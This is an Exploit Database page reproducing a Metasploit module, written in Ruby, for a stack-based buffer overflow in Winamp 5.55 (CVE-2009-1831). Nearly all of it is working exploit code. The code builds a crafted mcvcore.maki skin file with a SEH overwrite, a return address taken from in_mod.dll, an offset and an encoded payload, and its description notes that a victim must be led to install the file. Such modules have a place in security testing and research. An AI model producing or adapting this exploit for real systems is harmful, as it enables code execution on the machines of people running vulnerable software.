Winamp – MAKI Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2012-09-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21256/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Winamp MAKI Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
  				exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
  				where memmove is used with in a insecure way with user controlled data.
  
  				To exploit the vulnerability the attacker must convince the attacker to install the
  				generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
  				or generate a new skin using the crafted mcvcore.maki file. The module has been
  				tested successfully on Windows XP SP3 and Windows 7 SP1.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Monica Sojeong Hong', # Vulnerability Discovery
  					'juan vazquez'	# Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2009-1831'],
  					[ 'OSVDB', '54902'],
  					[ 'BID', '35052'],
  					[ 'EDB', '8783'],
  					[ 'EDB', '8772'],
  					[ 'EDB', '8770'],
  					[ 'EDB', '8767'],
  					[ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 4000,
  					'DisableNops' => true,
  					'BadChars'=> ""
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# winamp.exe 5.5.5.2405
  					[ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
  						{
  							'Ret' => 0x12f02bc3, # ppr from in_mod.dll
  							'Offset' => 16756
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'May 20 2009',
  			'DefaultTarget'=> 0))
  
  		deregister_options('FILENAME')
  	end
  
  	def file_format_filename
  		'mcvcore.maki'
  	end
  
  	def exploit
  
  		sploit = rand_text(target['Offset'])
  		sploit << generate_seh_record(target.ret)
  		sploit << payload.encoded
  		length_sploit = [sploit.length].pack("v")
  
  		header = "\x46\x47" # magic
  		header << "\x03\x04" # version
  		header << "\x17\x00\x00\x00"
  		types= "\x01\x00\x00\x00" # count
  		# class 1 => Object
  		types << "\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7"
  		# functions
  		functions = "\x37\x00\x00\x00" # count
  		#function 1
  		functions << "\x01\x01" # class
  		functions << "\x00\x00" # dummy
  		functions << length_sploit # function name length
  		functions << sploit # crafted function name
  
  		maki = header
  		maki << types
  		maki << functions
  
  		print_status("Creating '#{file_format_filename}' file ...")
  
  		file_create(maki)
  
  	end
  
  end